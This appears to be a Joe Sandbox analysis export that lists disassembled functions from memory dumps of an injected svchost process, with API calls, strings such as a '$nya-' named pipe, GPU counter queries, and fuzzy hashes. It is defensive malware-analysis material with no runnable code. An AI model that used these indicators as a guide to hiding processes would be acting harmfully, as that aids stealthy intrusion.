Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: d33c46db13dc7cd33e03f895f2b454a4c4ecdeca778de0e144b5f514b48c3e85
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 9B517A21B0174493EA199B56A80C3AA3298AB4BFB1F5C0725DE3F673D0DF3CD44D8696

Function 000002A66130A22C Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A66130A289

Part of subcall function 000002A66130B144: __GetUnwindTryBlock.LIBCMT ref: 000002A66130B187
Part of subcall function 000002A66130B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A66130B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A66130A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A66130A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A66130A6BC

Strings

csm, xrefs: 000002A66130A2A3
csm, xrefs: 000002A66130A30A
_$6Z, xrefs: 000002A66130A245
csm, xrefs: 000002A66130A384

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: _$6Z$csm$csm$csm
API String ID: 849930591-752779984
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: 8eff3d94060b0506c183f273514c8ccba3cd936feb2acd8400ace85cd0207b59
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: 9CD17032B047448BEB20DF65A44C39D77E8F746B99F180115EE8A67BA5DF38C489C782

Function 000002A6613033A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002A6613033FD
GetProcessHeap.KERNEL32 ref: 000002A661303412
HeapAlloc.KERNEL32 ref: 000002A661303420
PdhGetCounterInfoW.PDH ref: 000002A661303436
StrCmpW.SHLWAPI ref: 000002A66130344B

Part of subcall function 000002A661303950: StrCmpNW.SHLWAPI ref: 000002A661303972
Part of subcall function 000002A661303950: StrStrW.SHLWAPI ref: 000002A661303990
Part of subcall function 000002A661303950: StrToIntW.SHLWAPI ref: 000002A6613039B7

GetProcessHeap.KERNEL32 ref: 000002A661303488
HeapFree.KERNEL32 ref: 000002A661303496

Strings

\GPU Engine(*)\Running Time, xrefs: 000002A661303444

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 43e8135ebb0c35559ed7a18ea80bfe305a7e894e258808c59942dfd4b27a78db
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: 1031C526F04A409BEB21DF12A84C759B3E4F78AFD5F4D0525DE4A67624DF3CC45A8381

Function 000002A6613034B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002A661303516
GetProcessHeap.KERNEL32 ref: 000002A661303527
HeapAlloc.KERNEL32 ref: 000002A661303535
PdhGetCounterInfoW.PDH ref: 000002A66130354B
StrCmpW.SHLWAPI ref: 000002A661303560

Part of subcall function 000002A661303950: StrCmpNW.SHLWAPI ref: 000002A661303972
Part of subcall function 000002A661303950: StrStrW.SHLWAPI ref: 000002A661303990
Part of subcall function 000002A661303950: StrToIntW.SHLWAPI ref: 000002A6613039B7

GetProcessHeap.KERNEL32 ref: 000002A66130358D
HeapFree.KERNEL32 ref: 000002A66130359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000002A661303559

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 4d92c4ea626ffa32eb01c2e09dbf1256c5470eb48489bf0b17e285afea8dfe7e
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: 5D315921B10B458BEB10DF22A88CB5A73E9FB8AF95F484125DE4B63764EF3CC4498741

Function 000002A6612D962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A6612D9689

Part of subcall function 000002A6612DA544: __GetUnwindTryBlock.LIBCMT ref: 000002A6612DA587
Part of subcall function 000002A6612DA544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A6612DA5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A6612D9761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A6612D99AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A6612D9ABC

Strings

csm, xrefs: 000002A6612D970A
csm, xrefs: 000002A6612D96A3
csm, xrefs: 000002A6612D9784

Memory Dump Source

Source File: 0000000B.00000003.2183186665.000002A6612D0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_2a6612d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: 0c7c2ff44e90409ce568f202e36e19cbd4341ffb8efed40e0aa12b8ee976ac47
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: 15D17B22F047808BEF609F65D49C39D37ACFB46B88F185115EA8957B96DF38C0A9C742

Function 000002A661306270 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A6613062AB
GetThreadContext.KERNEL32 ref: 000002A661306415

Part of subcall function 000002A6613060A0: GetCurrentThreadId.KERNEL32 ref: 000002A6613060A4

Strings

_$6Z, xrefs: 000002A66130627C

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID: _$6Z
API String ID: 1666949209-452956228
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: 9e6d1a6d23f99b2325e117ac05e129a6918d3a22a01063be85214e515cd655ba
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: 79D1BA76604B8882DA70DB0AE49835A77E4F3C9F89F140116EACE577A9CF3CC589CB41

Function 000002A66130104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A6613010B1
RegEnumValueW.ADVAPI32 ref: 000002A661301117
GetProcessHeap.KERNEL32 ref: 000002A66130115A
HeapAlloc.KERNEL32 ref: 000002A661301168
GetProcessHeap.KERNEL32 ref: 000002A661301185
HeapFree.KERNEL32 ref: 000002A661301193

Strings

d, xrefs: 000002A6613010D6

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: b836365c34d592cddc1f2c437e1d454bb1563a5ff996a1d7934b65f5a6e91958
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: B7417E32614B80DBE764CF21E44839A77B5F38AF99F488129DA8A17B58DF3CC449CB41

Function 000002A661302518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002A66130252D
GetCurrentProcessId.KERNEL32 ref: 000002A661302537
CreateFileW.KERNEL32 ref: 000002A661302568
WriteFile.KERNEL32 ref: 000002A661302590
ReadFile.KERNEL32 ref: 000002A6613025AF
CloseHandle.KERNEL32 ref: 000002A6613025B8

Strings

\\.\pipe\$nya-childproc, xrefs: 000002A661302549

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: 01ba6e6857320073161db12d4c91d197189d3201306d29c150b2e464a9aba7b5
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 06113736A14B4083E710CB61F41D35AB7A4F38AFA5F980215EA9A13AA8CF3CC148CB41

Function 000002A6612D7050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A6612D7078
__scrt_acquire_startup_lock.LIBCMT ref: 000002A6612D70CA
_RTC_Initialize.LIBCMT ref: 000002A6612D70F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6612D711E
__scrt_release_startup_lock.LIBCMT ref: 000002A6612D7149

Memory Dump Source

Source File: 0000000B.00000003.2183186665.000002A6612D0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_2a6612d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 87362bcaa3792e5a4c3bde22928b52a8af9d2be7a5753092e360eb08d433d8a6
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 6E815821F0028187FB54AB75E84E399629DAF87F88F5C4125DA48877D6DF3CC9CD8642

Function 000002A661307C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A661307C78
__scrt_acquire_startup_lock.LIBCMT ref: 000002A661307CCA
_RTC_Initialize.LIBCMT ref: 000002A661307CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A661307D1E
__scrt_release_startup_lock.LIBCMT ref: 000002A661307D49

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 21ed0e38a9b9bf3c3add615de4281dd6299f8a96e3642e169298de0fb22c4a2b
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: BA81F621F0064087FA60AB25944D3A963DCAB87F86F4C40189A8BB7796DF3CC84D9782

Function 000002A66130F870 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002A66130F954

Strings

_$6Z, xrefs: 000002A66130F984
_$6Z, xrefs: 000002A66130F969
_$6Z, xrefs: 000002A66130F9A5, 000002A66130FA40
_$6Z, xrefs: 000002A66130F972
_$6Z, xrefs: 000002A66130F97B

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: _$6Z$_$6Z$_$6Z$_$6Z$_$6Z
API String ID: 3215553584-3921938813
Opcode ID: e24968551f1c80c218f728ec495c536f69034c28ce2eb30166b49967c8b6e302
Instruction ID: 3b2bb9e880446d885a92473a28aba255902e4424a1e3e630c19797b1845b3aac
Opcode Fuzzy Hash: e24968551f1c80c218f728ec495c536f69034c28ce2eb30166b49967c8b6e302
Instruction Fuzzy Hash: 9661B032F0064097FA689B29954C36A6AECA787F42F1D4415CA0B33795DF3CC98D86CB

Function 000002A661309AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002A661309C6B,?,?,?,000002A66130945C,?,?,?,?,000002A661308F65), ref: 000002A661309B31
GetLastError.KERNEL32(?,?,?,000002A661309C6B,?,?,?,000002A66130945C,?,?,?,?,000002A661308F65), ref: 000002A661309B3F
LoadLibraryExW.KERNEL32(?,?,?,000002A661309C6B,?,?,?,000002A66130945C,?,?,?,?,000002A661308F65), ref: 000002A661309B69
FreeLibrary.KERNEL32(?,?,?,000002A661309C6B,?,?,?,000002A66130945C,?,?,?,?,000002A661308F65), ref: 000002A661309BD7
GetProcAddress.KERNEL32(?,?,?,000002A661309C6B,?,?,?,000002A66130945C,?,?,?,?,000002A661308F65), ref: 000002A661309BE3

Strings

api-ms-, xrefs: 000002A661309B51

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: 76f1246603c3bb18419f38d00aeba41769e0225165ea4a687267aa0e8093a868
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: 4A316F21B12A4093EE11DF16980C7A563DCB746FA1F9D0625DD1E67790EF3CC4488392

Function 000002A661313400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002A661313431
GetLastError.KERNEL32 ref: 000002A66131343D
CloseHandle.KERNEL32 ref: 000002A661313455
CreateFileW.KERNEL32 ref: 000002A661313480
WriteConsoleW.KERNEL32 ref: 000002A66131349F

Strings

CONOUT$, xrefs: 000002A661313461

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: 6b32f3e46a1ce7fd8b8de312a58a35e07da95ba2daee6ad35c98ddecb6655408
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: BA116025B10B4087E751DB52E85E71976A8F78AFE4F484224EA5F97B94CF3CC4088741

Function 000002A661302098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000002A6613020A6
TlsFree.KERNEL32 ref: 000002A66130225F
TlsFree.KERNEL32 ref: 000002A66130226B
TlsFree.KERNEL32 ref: 000002A661302277
TlsFree.KERNEL32 ref: 000002A661302283
TlsFree.KERNEL32 ref: 000002A66130228F

Part of subcall function 000002A661305E50: GetCurrentThreadId.KERNEL32 ref: 000002A661305E66

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: 0f8a66e6ed77636f1ed0b2f14fd8b528f712069ee59a874cfe4a1d755408b165
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: 9851E335B01B4587EF05EF28E95C29423E9BB06F45F880825A56E273A5EF7CC91CC382

Function 000002A6613035C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000002A6613024D1), ref: 000002A6613035EB
HeapAlloc.KERNEL32(?,?,?,?,?,000002A6613024D1), ref: 000002A6613035FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,000002A6613024D1), ref: 000002A661303673
GetProcessHeap.KERNEL32(?,?,?,?,?,000002A6613024D1), ref: 000002A6613036D9
HeapFree.KERNEL32(?,?,?,?,?,000002A6613024D1), ref: 000002A6613036E7

Strings

$nya-, xrefs: 000002A66130366C

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: 24c8eb1c721162300a2066dfa6783493146a81dc3e88787b83f96c66ce783b45
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: 5E319121B01B598BEA11DF16A98CB2963E8FB46F95F0C4020CF4A27B55EF3CC4698741

Function 000002A661311FA8 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002A661312027
WriteFile.KERNEL32 ref: 000002A661312304
WriteFile.KERNEL32 ref: 000002A66131234A
GetLastError.KERNEL32 ref: 000002A661312409

Strings

_$6Z, xrefs: 000002A661311FCD

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID: _$6Z
API String ID: 2718003287-452956228
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: 268e0bf64f58330974bbaba108ddf57cd07ff1ee40941de8d1ad56834876199e
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: 88D1EC32B14A808AE711CFB6D5482DC37B9F356B98F584216DE5EA7B99DF38C00AC341

Function 000002A66130C940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002A66130C94F
SetLastError.KERNEL32 ref: 000002A66130C96E
FlsSetValue.KERNEL32 ref: 000002A66130C997
FlsSetValue.KERNEL32 ref: 000002A66130C9A8
FlsSetValue.KERNEL32 ref: 000002A66130C9B9

Part of subcall function 000002A66130D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,000002A66130674A), ref: 000002A66130D2B6
